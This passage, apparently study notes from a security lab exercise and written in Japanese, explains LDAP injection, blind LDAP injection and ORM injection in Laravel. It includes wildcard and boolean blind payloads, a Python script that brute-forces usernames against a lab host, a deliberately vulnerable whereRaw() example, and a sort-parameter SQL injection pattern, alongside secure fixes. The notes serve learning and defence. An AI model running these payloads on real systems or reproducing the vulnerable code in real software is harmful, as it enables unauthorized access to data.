- ユーザー入力にワイルドカードが含まれていても適切に処理されていない場合、すべてのエントリにマッチし、認証バイパスが可能になる
クエリ例
(&(uid={userInput})(userPassword={passwordInput}))
- 攻撃者が userInput =
*
, passwordInput =*
とすれば、次のようなクエリになる
(&(uid=*)(userPassword=*))
uid=f*
のように指定すれば、f で始まるユーザーだけを対象にすることも可能
ブラインドLDAPインジェクション
- LDAPインジェクションの中でもより巧妙なバリエーション
- 攻撃者は注入したペイロードの直接的な出力を受け取れない
- 代わりに、アプリケーションの挙動から間接的に情報を推測する
- 他のアプローチで行う必要がある
- 攻撃者は、アプリケーションの挙動の変化、エラーメッセージ、応答時間などの間接的な手がかりを頼りに、LDAPクエリの構造や脆弱性の有無を推測する
PHPは上とほぼ同様だが、返してくるメッセージが曖昧で、クエリのエラーとかは吐かないようになっている
- ブール値ベースのブラインドLDAPインジェクション : Boolean-based Blind LDAP Injectionという手法を使う
攻撃者は次のような入力を送る
a*)(|(&
をURLエンコードしたものと、pwd)
username=a*%29%28%7C%28%26
password=pwd%29
結果として構築されるLDAPクエリ
(&(uid=a*)(|(&)(userPassword=pwd)))
となる。このとき、アプリケーションが "パスワードが間違っています。" と返す場合、LDAPディレクトリに uid が「a」で始まるユーザーが存在すると推測できる
この後も、ab*)(|(&
と続けて、同じように"パスワードが間違っています。" と返されたら、ユーザー名があっていることがわかる
まあ、これ、BURPとかでも自動化できるけど、pythonでコード書くとしたら以下のようになる
- パスワードは、
*
でバイパスできる
import requests
from bs4 import BeautifulSoup
import string
import time
# ベースURL
url = 'http://10.10.183.42/blind.php'
# 使用する文字セット(英小文字+英大文字+数字+一部記号)
char_set = string.ascii_lowercase + string.ascii_uppercase + string.digits + "._!@#$%^&*()"
# 初期化
successful_response_found = True
successful_chars = ''
headers = {
'Content-Type': 'application/x-www-form-urlencoded'
}
# 正しい文字が見つかる限りループを継続
while successful_response_found:
successful_response_found = False
for char in char_set:
# 各文字を試す
# print(f"Trying password character: {char}")
# パスワードフィールドを標的としたデータ構造
data = {
'username': f'{successful_chars}{char}*)(|(&',
'password': 'pwd)'
}
# POSTリクエストを送信
response = requests.post(url, data=data, headers=headers)
# HTMLレスポンスを解析
soup = BeautifulSoup(response.content, 'html.parser')
# 成功条件を調整("色が緑のpタグ" を探す)
paragraphs = soup.find_all('p', style='color: green;')
if paragraphs:
successful_response_found = True
successful_chars += char
print(f"見つかった文字: {char}")
break
if not successful_response_found:
print("この反復では有効な文字が見つかりませんでした。")
# 最終的に見つかった文字列
print(f"最終ペイロード: {successful_chars}")
ORM Injection
概要
- プログラミング言語のオブジェクト(クラスやインスタンス)と、リレーショナルデータベースのテーブル(行や列)を自動的にマッピング(対応づけ)してくれる
- RDBのSQLをORMを使うことで、オブジェクト指向の形で書ける
- パラメータ化されることでSQLインジェクションを軽減できる(が完璧ではない)
- よく使われるもの
- Doctrine
- PHP
- Hibernate
- Java
- SQLAlchemy
- Python
- Entity Framework
- C#
- Active Record
- Ruby on Rails
- Doctrine
- 普通に、CRUD操作ができる
- セキュリティ目線
- 不適切に構成されたマイグレーションや弱い実装は、ORMインジェクションなどの脆弱性を招く原因になる
- 攻撃者はこれらの弱点を利用して、SQLクエリを操作し、機密データへ不正アクセスする可能性がある
- 堅牢なORM構成と安全なスキーマ設計を心がけ、こうしたセキュリティ欠陥を未然に防ぐことが重要
SQLインジェクションとORMインジェクションは、SQLを対象としていることは同じだが、いくつかの点で異なる
比較項目 | SQLインジェクション | ORMインジェクション |
---|---|---|
インジェクション対象 | 生のSQLクエリ | ORMが構築するクエリ構造 |
複雑さ | 比較的単純(SQLを直接操作) | ORMの内部構造やメソッドの理解が必要 |
検出 | WAFやクエリログで検出しやすい | ORMのメソッド内で発生するため検出しにくい |
対策 | プレースホルダー/バリデーション/パラメータ化 | 入力バリデーション、ORM設定の安全性、機能制限 |
確認
- ORMインジェクションは、通常、ユーザー入力が適切にサニタイズまたはバリデーションされることなく、ORMクエリメソッドに直接組み込まれている場合に発生する
- 潜在的なORMインジェクションの兆候
- ユーザー入力を連結して使用する動的クエリ
- rawクエリ実行メソッドの使用
- 不十分なパラメータ化クエリの使用などがある
ORMインジェクションのテスト手法
- 手動コードレビュー
- ソースコードを詳細に確認することで、whereRaw()(Laravelの場合)などのrawクエリメソッドがユーザー入力を直接使用している箇所を発見できる
- 文字列の連結やエスケープされていない入力を探す
- 自動スキャン
- ORMインジェクションの脆弱性を検出するためのセキュリティスキャンツールを使用する
- これらのツールは、動的クエリ構築や入力処理の不備といったパターンを検出する
- 入力バリデーションテスト
- アプリケーションの入力にペイロードを注入して、ORMクエリに影響を与えるかをテストする
- 例として、SQL制御文字やキーワードを入力し、クエリ実行に影響があるか観察する
- エラーに基づくテスト
- わざと間違ったまたは不正なデータを入力してエラーを誘発する
- 詳細なエラーメッセージは、ORMクエリの構造や脆弱性の存在を示す手がかりになる
フレームワークごとの注目すべきメソッド
フレームワーク | ORMライブラリ | 脆弱になりがちなメソッド |
---|---|---|
Laravel | Eloquent ORM | whereRaw(), DB::raw() |
Ruby on Rails | Active Record | where("name = '#{input}'") |
Django | Django ORM | extra(), raw() |
Spring | Hibernate | createQuery()での連結 |
Node.js | Sequelize | sequelize.query() |
使用されているフレームワークを特定
- クッキーの確認
- フレームワークによっては、セッションクッキーに固有の命名規則があるため、クッキーを調べることでヒントが得られる
- ソースコードの確認
- HTMLのコメント、metaタグ、埋め込まれたスクリプトからフレームワーク特有の情報が得られることがある
- HTTPヘッダーの分析
- 開発者ツールやBurp Suiteなどを使ってレスポンスヘッダーを確認します。サーバーやフレームワークに関する情報が含まれていることがある
- URL構造の確認
- 特定のルーティングパターンから、使用されているフレームワークを推測できる場合がある
- ログイン画面やエラーページの観察
- エラー表示やログイン画面のデザイン・メッセージは、フレームワークを特定するためのヒントになる
入力に1'
と入れる、エラーメッセージなどで、Syntax error or access violationと出てきた。これを検索にかけると、Eloquent ORMが使われているとわかる
悪用
弱い実装
以下のコードで、実装している
- ユーザーから受け取ったemailをサニタイズしないで、whereRaw()メソッドに入れて、SQLクエリを構築している
- 結果があればそのデータをビューに渡し、なければ “User not found” を表示
public function searchBlindVulnerable(Request $request)
{
$users = [];
$email = $request->input('email');
$users = Admins::whereRaw("email = '$email'")->get();
if ($users) {
return view('user', ['users' => $users]);
} else {
return view('user', ['message' => 'User not found']);
}
}
しかし、攻撃者のペイロードは、SQLインジェクションと対して変わらない
こんな感じのペイロードを入力したら、
1' OR '1'='1
以下のクエリが、実行されて、すべてのユーザーレコードが返される
SELECT * FROM users WHERE email = '1' OR '1'='1';
安全な実装例としてはこう
public function searchBlindSecure(Request $request)
{
$email = $request->input('email');
$users = User::where('email', $email)->get();
if (isset($users) && count($users) > 0) {
return view('user', ['users' => $users]);
} else {
return view('user', ['message' => 'User not found']);
}
}
安全なポイント
- パラメータ化クエリ
- ユーザー入力はあくまで「データ」として処理され、「コード」として実行されない
- ここの部分、
$email
を'
で囲んでいないことで、フレームワークが$email
の中を値として読み込み、どんな入力をしてもクエリが壊れない User::where('email', $email)
- 自動エスケープ
- パラメータ化に加えて、ORMは通常、特殊文字(例: ', ", ;, -- など)を 自動的にエスケープされる
- 一貫性あるロジック
- where() のような構造化されたAPI を使うことで、クエリの記述が明確で管理しやすくなる
脆弱な実装
- 開発者が意図せずORM(オブジェクト関係マッピング)を脆弱に実装してしまい、攻撃の糸口を作ってしまうことがある
- 脆弱な実装は、開発者が古いバージョンや誤って構成されたORMライブラリを使用した場合に起こる
- 本質的なセキュリティ上の欠陥が含まれており、攻撃者がデータベースクエリを操作したり、不正アクセスを行ったりするために悪用できる
例
- Laravelのクエリビルダーパッケージに、バージョン1.17.1以前に存在した重大なSQLインジェクションの脆弱性
- ソートパラメータが適切に検証されないままユーザー入力から直接処理される点にある
実例
sort パラメータを使って name カラムでユーザー一覧をソートした結果を返すSQL
SELECT * FROM users ORDER BY name ASC LIMIT 2;
クエリの破壊
- 以下により、ORDER BY句の構文を終了
name->"%27))
インジェクションペイロードの作成
name->"%27)) SQL INJECTION QUERY #
->
は json_extract に変換され、"%27))
が文字列と括弧を閉じ、SQL INJECTION QUERY で任意のSQL命令を挿入#
はSQLのコメントアウト(残りの構文を無効化)
ORMを使うと、安全だと思い込みがちだけど、以下の3つに気をつける必要ある